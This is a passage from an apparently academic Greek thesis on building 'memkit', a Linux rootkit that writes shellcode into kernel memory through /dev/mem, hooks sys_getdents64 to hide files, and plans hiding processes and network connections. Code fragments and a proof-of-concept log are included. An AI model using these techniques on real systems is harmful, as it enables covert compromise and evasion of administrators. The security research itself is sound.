72 Όπως φαίνεται παρακάτω, η διαδικασία που ακολουθείται για την δημιουργία τέτοιων κομματιών κώδικα είναι η ίδια που ακολουθεί το λειτουργικό σύστημα κατά την μεταγλώττιση και την δημιουργία του εκτελέσιμου. Παρακάμπτουμε το λειτουργικό σύστημα προκειμένου να κάνουμε μία απ ευθείας τοποθέτηση αυτού του κώδικα στη μνήμη. Οι δυνατότητες που προσφέρει αυτή η τεχνική είναι απεριόριστες. Μόνος περιορισμός είναι ότι δημιουργείται και λειτουργεί για μία μόνο αρχιτεκτονική. Η εκτέλεση του ίδιου shellcode σε διαφορετική, μη συμβατή αρχιτεκτονική από αυτή που δημιουργήθηκε, θα προκαλέσει απρόβλεπτα αποτελέσματα. 71

73 14 Σύνταξη assembly AT&T Παρακάτω θα δοθεί μία περιγραφή της σύνταξης assembly AT&T, όπως αυτήν υλοποιείται από τον GNU Assembler as. Η σύνταξη αυτή μας είναι απαραίτητη προκειμένου να κατανοήσουμε τον κώδικα assembly των μεταγλωτισμένων μας προγραμμάτων Βασική Μορφή Η δομή ενός προγράμματος με σύνταξη AT&T είναι κατά βάση παρόμοια με την σύνταξη οποιουδήποτε άλλου assembler. Η πιο σημαντική διαφορά πηγάζει από την σειρά των ορισμάτων. Για παράδειγμα, η γενική μορφή μιας βασικής μεταφοράς δεδομένων σε σύνταξη Intel είναι, mnemonic destination, source ενώ στην περίπτωση της AT&T, η γενική μορφή είναι, mnemonic source, destination Οι τύποι των ορισμάτων για τις εντολές του AT&T assembler στην αρχιτεκτονική x86 είναι οι εξής [21]: 72

74 Καταχωρητές Όλα τα ονόματα των καταχωρητών για την αρχιτεκτονκή IA-32 πρέπει να συνοδεύονται από το πρόθεμα '%' για παράδειγμα %al, %bx, %ds, %cr0 κλπ. mov %ax, %bx Το παραπάνω παράδειγμα είναι η εντολή που μετακινεί την τιμή του καταχωρητή των 16-bit AX στον αντίστοιχο 16-bit BX Πραγματικές Τιμές (Literal Values) Όλες οι πραγματικές τιμές πρέπει να προθεματίζονται με το σημάδι '$'. Για παράδειγμα, mov $100, %bx mov $A, %al Η πρώτη εντολή μετακινεί την τιμή 100 στον καταχωρητή AX και η δεύτερη μετακινεί την αριθμητική τιμή του συμβόλου ASCII A στον καταχωρητή AL Διευθυνσιοδότηση Μνήμης (Memory Addressing) Στην σύνταξη AT&T, οι αναφορές στη μνήμη γίνονται ως εξής, segment-override:signed-offset(base,index,scale) τμήματα του οποίου μπορούν να παραλειπούν σύμφωνα με την διεύθυνση που χρειαζόμαστε. 73

75 %es:100(%eax,%ebx,2) Η μετατόπιση (offset) και η κλίμακα (scale) δεν θα πρέπει να προθεματίζονται με το '$'. Παρακάτω δίνονται λίγα ακόμα παραδείγματα με τα αντίστοιχα ισοδύναμά τους σε σύνταξη ΝASM. GAS memory operand NASM memory operand [100] %es:100 [es:100] (%eax) [eax] (%eax,%ebx) [eax+ebx] (%ecx,%ebx,2) [ecx+ebx*2] (,%ebx,2) [ebx*2] -10(%eax) [eax-10] %ds:-10(%ebp) [ds:ebp-10] Παραδείγματα εντολών: mov %ax, 100 mov %eax, -100(%eax) Η πρώτη εντολή μετακινεί την τιμή του καταχωρητή AX στο offset 100 από τον καταχωρητή data segment (εξ ορισμού), και η δεύτερη μεταφέρει την τιμή που υπάρχει στον eax, στην περιοχή μνήμης [eax-100] Μεγέθη τελεστών (Operand Sizes) Κάποιες φορές, κατά την μετακίνηση πραγματικών τιμών στη μνήμη, καταστάται απαραίτητο να προσδιορίσουμε το μέγεθος της μεταφοράς ή το μέγεθος του τελεστή. Για παράδειγμα η εντολή, mov $10,

76 προσδιορίζει μόνο ότι η τιμή 10 θα μετακινηθεί στην περιοχή μνήμης με μετατόπιση 100, αλλά δεν προσδιορίζει το μέγεθος της μεταφοράς. Στον NASM αυτό γίνεται με το να προστίθεται η λέξη κλειδί byte/word/dword/qword κλπ. Σε οποιονδήποτε των τελεστών. Στην σύνταξη AT&T, αυτό γίνεται προσθέτοντας το επίθεμα - b/w/l στην εντολή. Για παράδειγμα, movb $10, %es:(%eax) μετακινεί την τιμή byte 10 στην περιοχή μνήμης [ea:eax], ενώ το movl $10, %es:(%eax) μετακινεί την τιμή long (dword) 10 στο ίδιο μέρος. Μερικά ακόμη παραδείγματα, movl $100, %ebx pushl %eax popw %ax Εντολές Μεταφοράς Ελέγχου (Control Transfer Instructions) Οι εντολές jmp, call, ret κλπ, μεταφέρουν τον έλεγχο από ένα μέρος του προγράμματος σε άλλο. Μπορούν να ταξινομηθούν ως εξής, μεταφορά ελέγχου στο ίδιο code segment (near) μεταφορά ελέγχου σε διαφορετικό code segment (far) Οι σχετικές μετατοπίσεις ορίζονται με την χρήση ονομάτων ή ετικετών όπως φαίνεται παρακάτω, label1: 75

77 .. jmp label1 Για την μεταφορά σε διαφορετικό code segment (far), χρησιμοποιείται το πρόθεμα l στην εντολή. GAS syntax NASM syntax ========== =========== jmp *100 jmp near [100] call *100 call near [100] jmp *%eax jmp near eax jmp *%ecx call near ecx jmp *(%eax) jmp near [eax] call *(%ebx) call near [ebx] ljmp *100 jmp far [100] lcall *100 call far [100] ljmp *(%eax) jmp far [eax] lcall *(%ebx) call far [ebx] ret retn lret retf lret $0x100 retf 0x100 K 20. Μεταφορά ελέγχου σε σύνταξη GAS και NASM Οι δείκτες μετατόπισης τμήματος (Segment-offset) προσδιορίζονται με την παρακάτω μορφή, jmp $segment, $offset Για παράδειγμα, jmp $0x10, $0x

78 15 Ανάπτυξη rootkit /dev/mem 15.1 Εύρεση διευθύνσεων μεθόδων πυρήνα Για να βρούμε τις διευθύνσεις που χρειαζόμαστε στην μνήμη ακολουθούμε μία παρόμοια διαδικασία με αυτήν που ακολουθήσαμε νωρίτερα για να δούμε την εικόνα του symbol table. Αυτή τη φορά διευκρινίζουμε το όνομα της μεθόδου που θέλουμε να εντοπίσουμε. Σε κάθε μέθοδο προσθέτουμε το πρόθεμα, το οποίο έχει τοποθετήσει ο linker προκειμένου να ξεχωρίζει τις global μεθόδους σε περίπτωση που τύχει να έχουν το ίδιο όνομα με τοπικές. Η διαδικασία αποτελείται από δύο αναζητήσεις. Στην πρώτη, βρίσκουμε το string στο τμήμα.kstrtab. Στην δεύτερη, χρησιμοποιούμε την διεύθυνση του string, μεταφρασμένη σε virtual address, προσθέτοντας το KERNEL_START για να βούμε την διεύθυνση του κώδικα της αντίστοιχης μεθόδου. Στον κώδικα του πυρήνα η μετάφραση των διευθύνσεων γίνεται ως εξής, unsigned int va(unsigned int paddr) return paddr + KERNEL_START; Και αυτό επειδή όπως έχει αναφερθεί, οι διευθύνσεις του πυρήνα έχουν απευθείας χαρτογράφηση (direct mapping) στον virtual address space του προγράμματός μας. Ο δικός μας κώδικας για την αναζήτηση παρουσιάζεται στο K

79 unsigned long x; for (x = 0; x < 20 * 1024 * 1024; x++) { if (memcmp((unsigned char *) (base + x), srch, size) == 0 ){ kstrtab = KERNELSTART + x + 1; break; } } for (x = 0; x < 20 * 1024 * 1024; x++) if (*(unsigned long *) (base + x) == kstrtab) kmalloc = *(unsigned long *) (base + x - ADDRLEN); K 21. Αναζήτηση μεθόδου στην μνήμη Όπου base είναι η διεύθυνση από την οποία ξεκινάμε να ψάχνουμε. Επιλέγουμε αυτή να είναι η διεύθυνση που έχει επιστρέψει η mmap όταν κάναμε map το αρχείο /dev/mem στο πρόγραμμά μας. Πρέπει να εδώ να σημειωθεί ότι για μεγάλες μνήμες συστήματος (μεγαλύτερες από 3G), μας είναι αδύνατο να κάνουμε map ολόκληρη την φυσική μας μνήμη σε συστήματα 32bit, χωρίς PAE. Αυτό όμως δε μας απασχολεί τόσο. Με την προϋπόθεση πως ο πυρήνας δεν έχει δεχτεί κάποιο relocation σε πολύ μεγαλύτερες περιοχές μνήμης, εμείς θα μπορέσουμε να βρούμε την εικόνα του στα πρώτα MB. Γενικά, ο πυρήνας μεταγλωτίζεται για μία συγκεκριμένη διεύθυνση και τρέχει από αυτήν, η οποία είναι στην φυσική θέση μνήμης 1MB για i386 και x86_64. Αργότερα, ο Eric W. Biederman εισήγαγε μία επιλογή config, CONFIG_PHYSICAL_START, η οποία επέτρεπε στον πυρήνα να μεταγλωτιστεί για διαφορετική διεύθυνση. Με αυτήν κάποιος μπορεί να μεταγλωτίσει τον πυρήνα για παράδειγμα στην φυσική διεύθυνση 16MB. Η συγγραφέας δεν γνωρίζει περιπτώσεις όπου ο πυρήνας θα μπορούσε να φορτωθεί σε μια περιοχή 'μη 78

80 προσβάσιμη' για το 32-bit πρόγραμμά μας. Ή και στην περίπτωση που αυτό συνέβαινε, θα μπορούσαμε να κάνουμε το πρόγραμμά μας πιο έξυπνο ώστε να χωρίζει την μνήμη σε τμήματα και να τα ψάχνει σειριακά ώσπου να βρει κάποιο χαρακτηριστικό (ας το πούμε signature) του πυρήνα σε ένα από αυτά. Επιστρέφοντας στο παραπάνω κομμάτι κώδικα, srch είναι το string μας. Σε αυτή την φάση χρειαζόμαστε την kmalloc. Ξέροντας ότι στον strtab τα string χωρίζονται μεταξύ τους με το null χαρακτήρα, επομένως είναι ασφαλές να θεωρήσουμε σαν string το \0 kmalloc, μη ξεχνώντας ότι στην C όλα τα string τελειώνουν με το 'αόρατο' \0. Με αυτό το κόλπο θα είμαστε περισσότερο σίγουροι ότι βρήκαμε το σύμβολο και όχι κάποιο άλλο σκουπίδι στη μνήμη. Το size είναι ο αριθμός των χαρακτήρων στο string (μαζί με τους κενούς χαρακτήρες). Στην δεύτερη αναζήτηση έχουμε στο μυαλό μας τον τρόπο που είναι τοποθετημένα τα στοιχεία στον symtab. Ανάλογα με την αρχιτεκτονική η διεύθυνση της μεθόδου θα βρεθεί 4 byte πριν από το αποτέλεσμα της πρώτης αναζήτησης για 32 bit ή 8 byte για 64 bit. Αυτό το μέγεθος ορίζεται στον παραπάνω κώδικα με το macro ADDRLEN. Δύο παραδείγματα αποτελεσμάτων και για τις δύο αρχιτεκτονικές 32 και 64bit παρουσιάζονται στο K

81 32bit: idt_table; system_call; sys_call_table; kmalloc; 64 bit: idt_table; ia32_syscall; ia32_sys_call_table; kmalloc; 0xc08fc000 0xc0102a98 0xc07134c0 0xc0162d10 0xffffffff804c6000 0xffffffff8025adb8 0xffffffff803e7bb0 0xffffffff802b5b26 K 22. Αποτέλεσμα εύρεσης διευθύνσεων πινάκων και μεθόδων Μετά από επαλήθευση με την βοήθεια του αρχείου System.map προκύπτει ότι αντιστοιχούν στις σωστές διευθύνσεις Δέσμευση μνήμης Στην προηγούμενη ενότητα βρήκαμε την διεύθυνση της kmalloc() στην μνήμη. Τώρα είμαστε έτοιμοι να βάλουμε αυτή την διεύθυνση στο shellcode που φτιάξαμε νωρίτερα για την κλήση της kmalloc() του πυρήνα και να αντικαταστήσουμε τα πρώτα bytes μιας κλήσης συστήματος με αυτό το shellcode. Στη συνέχεια, θα κάνουμε αυτή την κλήση συστήματος η οποία θα καλέσει το shellcode μας και θα επιστρέψει χώρο στη μνήμη όπου και θα τοποθετήσουμε τις μεθόδους που θα ανταλλάξουμε. Προκειμένου να αποφύγουμε ένα πιθανό kernel panic βασικό είναι να κρατηθούν αντίγραφα όλων όσων αντικαθιστούμε, ώστε να είμαστε σε θέση να επιστρέψουμε την κλήση συστήματος στην αρχική της κατάσταση. 80

82 Το string που περιέχει τον κώδικα με την κλήση της kmalloc() πρέπει να προσαρμοστεί με την σωστή διεύθυνση. Έχουμε ορίσει έναν πίνακα χαρακτήρων char temp[] όπου και αντιγράφουμε τον κώδικα. Στη συνέχεια κάνουμε τις τροποποιήσεις μας σε αυτόν τον πίνακα, όπως φαίνεται παρακάτω στο K 23. temp[27] = (kmalloc & 0xff000000) >> 24; temp[26] = (kmalloc & 0x00ff0000) >> 16; temp[25] = (kmalloc & 0x0000ff00) >> 8; temp[24] = (kmalloc & 0x000000ff); K 23. Εισαγωγή του νέου κώδικα της kmalloc στον πίνακα temp Προχωράμε αντιγράφoντας τα πρώτα byte του handler της κλήσης συστήματος που θα αντικαταστήσουμε. Επιλέξαμε την sys_setdomainname, της οποίας την διεύθυνση βρήκαμε αντιγράφοντας την 121η εγγραφή του πίνακα syscall. Προχωρούμε στην εγγραφή, καθώς έχουμε ανοίξει το /dev/mem στο file descriptor fd. Εδώ παρατηρούμε πως γίνεται η αντίθετη διαδικασία. Η διεύθυνση του sys_setdomainname που ανακαλέσαμε είναι η virtual, ενώ εμείς θέλουμε την φυσική. Τέλος, με χρήση inline assembly, κάνουμε την 121η κλήση συστήματος τοποθετώντας στον eax την τιμή της και τοποθετώντας το αποτέλεσμα στην μεταβλητή space. Κάνοντας επαναλαμβανόμενες κλήσης όπως η τελευταία έχουμε διευθύνσεις από περιοχές των 4096 byte όπου μπορούμε να τοποθετήσουμε κώδικα. 81

83 setdomainname =*(unsigned long *) (base + (sys_call_table - KERNEL_START) + (4 * 121)); memcpy (&backup, (unsigned char *) (base + (setdomainname - KERNEL_START)),sizeof(SHELLCODE) 1); lseek (fd, (setdomainname - KERNEL_START), SEEK_SET); write (fd, temp, sizeof (SHELLCODE) 1); asm ("movl $0x79,%%eax;\n\t" "int $0x80;\n\t" "movl %%eax, %0\n\t" :"=r" (space)); K 24. Αντικατάσταση των πρώτων bytes της κλήσης συστήματος sys_setdomainname στο αρχείο /dev/mem Εκεί τοποθετούμε τα υπόλοιπα shellcode, προσαρμόζοντάς τα κατάλληλα, αλλάζοντας τα bytes μέσα στον κώδικα που δείχνουν στις πραγματικές μεθόδους του πυρήνα. Μπορούμε να καλέσουμε αυτές τις μεθόδους και να προσαρμόσουμε τα αποτελέσματα ώστε να μην εμφανίζουν αυτά που θέλουμε να κρύψουμε. Τέλος γράφοντας στο /dev/mem αντικαθιστούμε τους handler των κλήσεων συστήματος στις εγγραφές του syscall table με τις δικές μας μεθόδους. Παρακάτω θα γίνει εφαρμογή της κλήσης sys_getdents Κρύβοντας αρχεία Hooking sys_getdents64 Αυτό που θα υλοποιήσουμε στην συνέχεια είναι μόνο μία απόδειξη ισχύος, 82

84 καθώς στόχος μας είναι να αποδείξουμε ότι η τεχνική είναι εφικτή μέχρι την παρούσα στιγμή (Ιούνιος 2008). Θα προσπαθήσουμε να κρύψουμε κάποια αρχεία τα οποία πληρούν κάποιες προϋποθέσεις. Αυτές μπορούν να είναι οποιεσδήποτε εμείς θελήσουμε, όπως για παράδειγμα το όνομά τους να έχει μια συγκεκριμένη κατάληξη, ή να ανήκουν σε κάποιον συγκεκριμένο χρήστη. Εμείς διαλέξαμε να κρύψουμε αρχεία που έχουν την κατάληξη.mkx. Η διαδικασία θα αναλυθεί αφού εξετάσουμε πρώτα τον αντίστοιχο κώδικα του πυρήνα. Μελετώντας την sys_getdents64 βλέπουμε πως είναι μία μέθοδος που μας δίνει μία λίστα με όλα τα αρχεία που βρίσκονται μέσα σε έναν κατάλογο. asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 user *dirent, unsigned int count){ struct file * file; struct linux_dirent64 user * lastdirent; struct getdents_callback64 buf; int error; error = -EFAULT; if (!access_ok(verify_write, dirent, count)) goto out; error = -EBADF; file = fget(fd); if (!file) goto out; buf.current_dir = dirent; buf.previous = NULL; buf.count = count; buf.error = 0; error = vfs_readdir(file, filldir64, &buf); if (error < 0) goto out_putf; error = buf.error; 83

85 lastdirent = buf.previous; if (lastdirent) { typeof(lastdirent->d_off) d_off = file->f_pos; error = -EFAULT; if ( put_user(d_off, &lastdirent->d_off)) goto out_putf; error = count - buf.count; } out_putf: fput(file); out: return error; } K 25. Πηγαίος κώδικας της μεθόδου sys_getdents64() του πυρήνα του Linux [22]. Στην γλώσσα C, όπως είναι γνωστό, το προσδιοριστικό struct ορίζει ένα είδος αντικειμένων. Δύο αντικείμενα που θα μας βοηθήσουν να καταλάβουμε τον παραπάνω κώδικα είναι τα linux_dirent64 user και getdents_callback64. dirent64 Είναι ένα αντικείμενο ενός φακέλου. Προκειμένου να αποφασίσουμε αν θέλουμε να το κρύψουμε, θα εξετάζουμε το στοιχείο του d_name για κάθε ένα τέτοιο αντικείμενο κάθε φορά που καλείται η getdents64. struct dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[256]; }; K10. Το αντικείμενο dirent64 84

86 getdents_callback64 Αυτό το αντικείμενο έχει λειτουργία ανάλογη ενός κόμβου μίας λίστας. Κάθε current_dir συνδέεται με ένα προηγούμενο ίδιου τύπου. Στο κομμάτι κώδικα Κ1 βλέπουμε πως το όρισμα dirent ορίζεται ως το current_dir για το αντικείμενο buf, ενώ το lastdirent δείχνει στο προηγούμενό του. Αποτέλεσμα αυτού είναι μία λίστα με τις εγγραφές του αρχείου (φακέλου) να περνάνε σαν αποτέλεσμα στον χρήστη. Η λίστα έχει συμπληρωθεί από την μέθοδο vfs_readdir. struct getdents_callback64 { struct linux_dirent64 user * current_dir; struct linux_dirent64 user * previous; int count; int error; }; K11. Το αντικείμενο getdents_callback64 Το VFS (Virtual File System) στο ΛΣ Linux είναι με απλά λόγια ένα 'στρώμα' μεταξύ των λειτουργιών που θέλουμε εμείς να κάνουμε πάνω στα στοιχεία ενός συστήματος αρχείων και των κατώτερων επιπέδων επίτευξης αυτών των λειτoυργιών. Η δυνατότητα του Linux να επεξεργάζεται τα διαφορετικά αρχεία συστήματος (reiserfs, ext3, fat, ntfs) με μία διεπαφή είναι αποτέλεσμα του VFS. H ιδέα είναι η εξής: Υπάρχει ένα κοινό μοντέλο αρχείων ικανό να αντιπροσωπεύει όλα τα είδη συστήματος αρχείων. Μ'αυτό το μοντέλο το βασικό σύστημα αρχείων στο Linux τρέχει με την μικρότερη δυνατή καθυστέρηση, και κάθε άλλο σύστημα αρχείων μεταφράζει την φυσική του δομή σε αυτή του μοντέλου VFS. Σε αυτό το μοντέλο κάθε φάκελος θεωρείται ένα αρχείο το οποίο περιέχει μία 85

87 λίστα αρχείων και άλλων φακέλων. Ο φάκελος όμως αυτός θα μπορούσε να ανήκει σε ένα οποιοδήποτε σύστημα αρχείων, με αποτέλεσμα να μην μπορεί να υπάρξει ένας σταθερός κώδικας για την ανάγνωση αυτού του φακέλου. Αντίθετα η ανάγνωση αυτού του φακέλου γίνεται με την βοήθεια ενός pointer προς την πραγματική διεύθυνση ανάγνωσης, του εκάστοτε συστήματος αρχείων. Χωρίς να μπούμε σε περισσότερες λεπτομέρειες, στην πράξη η λειτουργία read() ενός φακέλου γίνεται με την κλήση της μεθόδου, file->f_op->readdir(...); Όπου file είναι είδους struct file και είναι ο φάκελός μας. struct file { union { struct list_head struct rcu_head } f_u; struct path #define f_dentry #define f_vfsmnt fu_list; fu_rcuhead; f_path; f_path.dentry f_path.mnt const struct file_operations... }; *f_op; K12. Το αντικείμενο file Αυτό το αντικείμενο περιέχει ένα στοιχείο το οποίο είναι ένας δείκτης σε αντικείμενο, το struct file_operations *f_op. struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read)(struct file *, char user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char user *, size_t, loff_t *); 86

88 ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll)(struct file *, struct poll_table_struct *);... }; K13. Το αντικείμενο file_operations Στο f_op υπάρχουν όλες οι μέθοδοι για τις λειτουργίες πάνω στα αρχεία (ανάγνωση/εγγραφή κλπ). Τώρα είμαστε έτοιμοι να εξετάσουμε την μέθοδο vfs_readdir(). int vfs_readdir(struct file *file, filldir_t filler, void *buf){ out: } struct inode *inode = file->f_path.dentry->d_inode; int res = -ENOTDIR; if (!file->f_op!file->f_op->readdir) goto out; res = security_file_permission(file, MAY_READ); if (res) goto out; mutex_lock(&inode->i_mutex); res = -ENOENT; if (!IS_DEADDIR(inode)) { res = file->f_op->readdir(file, buf, filler); file_accessed(file); } mutex_unlock(&inode->i_mutex); return res; K14. Η μέθοδος vfs_readdir() Η μέθοδος readdir μεταφράζεται στην εκάστοτε μέθοδο για ανάγνωση από το 87

89 αντίστοιχο σύστημα αρχείων. Σε κάθε περίπτωση το αποτέλεσμα θα είναι το buf που αντιστοιχεί στο buf του K1, και δεν είναι άλλο από την ουρά της λίστας μας. Αφού ξέρουμε τη μορφή των αποτελεσμάτων της μεθόδου sys_getdents64 μπορούμε να φτιάξουμε το κομμάτι κώδικα που θα λειτουργεί σαν ενδιάμεσο δηλαδή να κάνουμε το hooking. Το αποτέλεσμα αυτού του κώδικα θα είναι η αποσύνδεση (unlinking) από τη λίστα getdents_callback64 του κόμβου dirent64 το οποίο αντιστοιχεί σε αρχείο με την κατάληξη.mkx. Η διαδικασία φαίνεται στο Σχήμα 16. Σχήμα 16. Αποσύνδεση αντικειμένου από την λίστα των εγγραφών ενός φακέλου. Το όνομα του κάθε αρχείου είναι το χαρακτηριστικό d_name του struct dirent64. Η ανάπτυξη του κώδικα θα γίνει σε assembly, γι'αυτό το λόγο κάποιες λεπτομέρειες σχετικά με τον τρόπο που επιτελούνται οι κλήσεις συστήματος μας είναι απαραίτητες. Σε μια κλήση συστήματος που γίνεται από ένα χαμηλότερο επίπεδο (privilege level), όπως αυτό του χρήστη, η στοίβα προγράμματος αλλάζει. Σε αυτήν τη περίπτωση λέμε ότι συμβαίνει ένα stack switch, η εκτέλεση του προγράμματος δηλαδή μεταφέρεται σε διαφορετική στοίβα, ενώ οι λειτουργίες που επιτελούνται από τον επεξεργαστή είναι οι εξής, 88

90 1. Προσωρινή αποθήκευση των καταχωρητών SS, ESP, EFLAGS, CS, και EIP. 2. Φόρτωση του segment selector και δείκτη στοίβας (stack pointer) για την καινούργια στοίβα (δηλαδή την στοίβα του επιπέδου που καλείται),από το TSS στους καταχωρητές SS και ESP, και μεταφορά σε αυτήν. 3. Τοποθέτηση των προσωρινά αποθηκευμένων τιμών των SS, ESP, EFLAGS, CS, και EIP για την διαδικασία της οποίας η στοίβα εγκαταλείφθηκε στην καινούργια στοίβα. 4. Τοποθέτηση ενός κωδικού λάθους (error code) στην στοίβα (εάν χρειάζεται). 5. Φόρτωση του segment selector για το καινούργιο τμήμα κώδικα (code segment) και τον καινούργιο EIP (δηλαδή αυτό του εξυπηρετητή της διακοπή, interrupt gate ή trap gate) στους καταχωρητές CS και EIP αντίστοιχα. 6. Εάν η κλήση είναι μέσω interrupt gate, καθαρισμός του IF flag στον καταχωρητή EFLAGS. 7. Εκκίνηση της εκτέλεσης του εξυπηρετητή της διακοπής στο καινούργιο privilege level. Η μορφή και για τις δύο στοίβες παρουσιάζεται στο Σχήμα

91 Στοίβα διαδικασίας που διακόπτεται <- ESP πριν την μεταφορά στον handler Στοίβα εξυπηρετητή διακοπής SS ESP EFLAGS CS EIP ERROR CODE <-ESP μετά την μεταφορά στον handler Σχήμα 17. Κορυφή της στοίβας πριν και μετά την μεταφορά Ο κώδικας για αρχιτεκτονική x86 παρουσιάζεται στο ΠΑΡΑΡΤΗΜΑ Β. Πίσω στο πρόγραμμά μας χρησιμοποιούμε στο αντίστοιχο shellcode που παράγουμε από τον κώδικα. Δεν ξεχνάμε φυσικά να αλλάξουμε την διεύθυνση της getdents64 στην εκάστοτε διεύθυνση μέσα στο string που περιέχει το shellcode. Η υλοποίηση έχει γίνει για αρχιτεκτονική x86, ενώ είναι δυνατή η μεταφορά αυτού σε x86_64. Αυτό ήταν το τελευταίο βήμα στη ανάπτυξη του προγράμματος. Ώντας πλέον έτοιμο, μπορούμε να το τρέξουμε και να πάρουμε τα επιθυμητά αποτελέσματα. Έχουμε προσθέσει τις λειτουργίες install, print και uninstall οι οποίες αντιπροσωπεύονται από τα ορίσματα i, p και u αντίστοιχα. Ο κώδικας παρουσιάζεται ολοκληρωμένος στο ΠΑΡΑΡΤΗΜΑ Γ. 90

92 Στο K 26 παρουσιάζεται η αλληλουχία βημάτων που αποδικνύουν την επιτυχή λειτουργία του rootkit στο ΛΣ της επιλογής μας, που την συγκεκριμένη περίπτωση είναι το Slackware i686 (x86). Αρχικά δημιουργούμε ένα αρχείο με την ονομασία test.mkx. Αφού τρέξουμε το πρόγραμμα memkit, το αρχείο test.mkx αυτό μπορεί να παραμείνει κρυμμένο για όσο χρόνο αφήσουμε την μέθοδο του πυρήνα να δείχνει στην δική μας. Αυτό είναι ένα απλό παράδειγμα, ενώ αποτελεί μονάχα την αρχή μια πληθώρας δυνατοτήτων που ανοίγονται πάνω στην λειτουργία του συστήματος-στόχος. 91

93 bash-3.1$ su Password: bash-3.1#./memkit i opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; 0xc08fc000 0xc0102a98 0xc07134c0 0xc0162d10 kmalloc; new sys_getdents64 will be at: 0xc90ab000 [hooked] bash-3.1# touch test.mkx bash-3.1# ls grep mkx bash-3.1#./memkit p opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; getdents64; bash-3.1#./memkit u opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; uninstalling restoring getdents64.. bash-3.1# ls grep mkx test.mkx 0xc08fc000 0xc0102a98 0xc07134c0 0xc90ab000 0xc08fc000 0xc0102a98 0xc07134c0 K 26. Proof of concept του /dev/mem rootkit (memkit) 92

94 16 Περαιτέρω ανάπτυξη Το πρόγραμμα στην παρούσα υλοποίηση επιτελεί την απλή εργασία της απόκρυψης αρχείων κατά την ανάγνωση των περιεχομένων φακέλων. Οποιοσδήποτε γνωρίζει την ύπαρξη αυτών των αρχείων μπορεί να διαβάσει τα περιεχόμενά τους ή να τα τροποποιήσει. Οι τρόποι που το πρόγραμμα θα μπορούσε να επεκταθεί περιορίζονται μόνο από την φαντασία του εκάστοτε δημιουργού. Οι δυνατότητες που έχουμε είναι απεριόριστες. Μερικές από αυτές φαίνονται παρακάτω. Αρχικά, παρατηρούμε πως δεν υπάρχει κανένας τρόπος για την οντότητα που εγκατέστησε το πρόγραμμα να παρακάμπτει την λειτουργία του. Αυτό είναι κάτι βασικό σε κάθε ενεργό malware ή άλλο παρόμοιο πρόγραμμα. Ο πιο συνηθισμένος τρόπος υλοποίησης είναι να θεωρούμε μία καινούργια ομάδα (group). Το rootkit μπορεί να ξεκινά την λειτουργία του με το gid (group id) αυτής της ομάδας. Στους ελέγχους του προγράμματος προστίθενται και αυτοί του gid της διεργασίας εκ μέρους της οποίας γίνονται οι διάφορες κλήσεις συστήματος. Σε κάθε μία κλήση συστήματος που έχουμε τροποποιήσει, εάν βρεθεί το συγκεκριμένο gid, τότε η κλήση επιτελείται σαν να μην υπάρχει εγκατεστημένο κανένα ενδιάμεσο πρόγραμμα. Φυσικά το εν λόγω gid αφήνεται στην εκάστοτε επιλογή του καθενός και δεν παραμένει σταθερό, ενώ ταυτόχρονα ενδεχομένως να πρέπει να παραμείνει κρυφό. Μπορούμε τώρα να προχωρήσουμε κρύβοντας επιπλέον στοιχεία του λειτουργικού συστήματος. 93

95 Ανάγνωση/Εγγραφή Αρχείων Τα αρχεία και οι φάκελοι του συστήματος με την κατάληξη.mkx είναι κρυμμένα κατά την ανάγνωση των φακέλων στους οποίους ανήκουν. Αυτό που αποκρύπτεται λοιπόν είναι η ύπαρξή τους. Τίποτα δεν τα προστατεύει όμως από εγγραφές ή αναγνώσεις όταν κάποιος γνωρίζει την ύπαρξή τους. Σ'αυτή την τροποποίηση μπορεί πλέον να ληφθεί υπ όψην το gid της διεργασίας που ζητά την ανάγνωσή τους. Διεργασίες Διεργασίες που έχουν σχέση με το rootkit θα πρέπει επίσης να μην είναι ορατές. Συνδέσεις TCP Το πιο σημαντικό ίσως σημείο είναι η απόκρυψη συνδέσεων. Η σύνδεση με το διαδίκτυο είναι αυτή που παρέχει έναν απομακρυσμένο τρόπο ελέγχου του συστήματος. Είναι επομένως ουσιώδες στην περίπτωση που θέλουμε το rootkit να μην λειτουργεί μόνο τοπικά. Οι ενεργές συνδέσεις στο Linux είναι προσβάσιμες μέσω του αρχείου /proc/net/tcp του proc virtual file system. Τα περιεχόμενα αυτού του αρχείου παρουσιάζονται στο K 27. Η κλήση συστήματος tcp4_seq_show επιστρέφει τα περιεχόμενα αυτού του αρχείου. Ο κώδικας του handler φαίνεται στο ΠΑΡΑΡΤΗΜΑ Α. Θα μπορούσαμε να κρύψουμε συνδέσεις δικτύου μέσω των οποίων αποστέλλονται από αλλαγές στον κωδικό του super user μέχρι και ένα shell. 94

96 bash:~$ cat /proc/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt ui d timeout inode 0: F:08A :0000 0A : : e4e6db : F:B1E :0000 0A : : e4e6d : : :0000 0A : : e0dbdb : :008B :0000 0A : : e4e6c : : :0000 0A : : e4e6c : : :0000 0A : : e4e6c : F: :0000 0A : : e4e6d : :01BD :0000 0A : : e4e6ce : 40080A0A:C B2ECF: : : e0dbc : 40080A0A:B782 0B70AE80: : : d13f8e K 27. Τα περιεχόμενα του /proc/net/tcp Η διαδικασία που ακολουθείται είναι περίπου ίδια με την ανάγνωση των περιεχομένων ενός φακέλου. Εδώ, επίσης, μπορεί να τεθεί προϋπόθεση για την απόκρυψη της σύνδεσης, το gid να είναι διαφορετικό από το επιλεγμένο gid. Εμείς επιλέξαμε να κρύψουμε αρχεία με την κατάληξη mkx. Σε πραγματικό περιβάλλον οπωσδήποτε αυτό δεν είναι αρκετό. Για παράδειγμα ας φανταστούμε την περίπτωση που στο σύστημα υπάρχουν ήδη αρχεία με αυτό το όνομα. Το ότι αυτά τα αρχεία ξαφνικά εξαφανίστηκαν θα μπορούσε να προκαλέσει υποψίες. Θα μπορούσαν επομένως να προστεθούν και άλλες προϋποθέσεις για την απόκρυψή τους. Αυτές θα μπορούσαν είτε να βασίζονται και πάλι στο όνομα, είτε 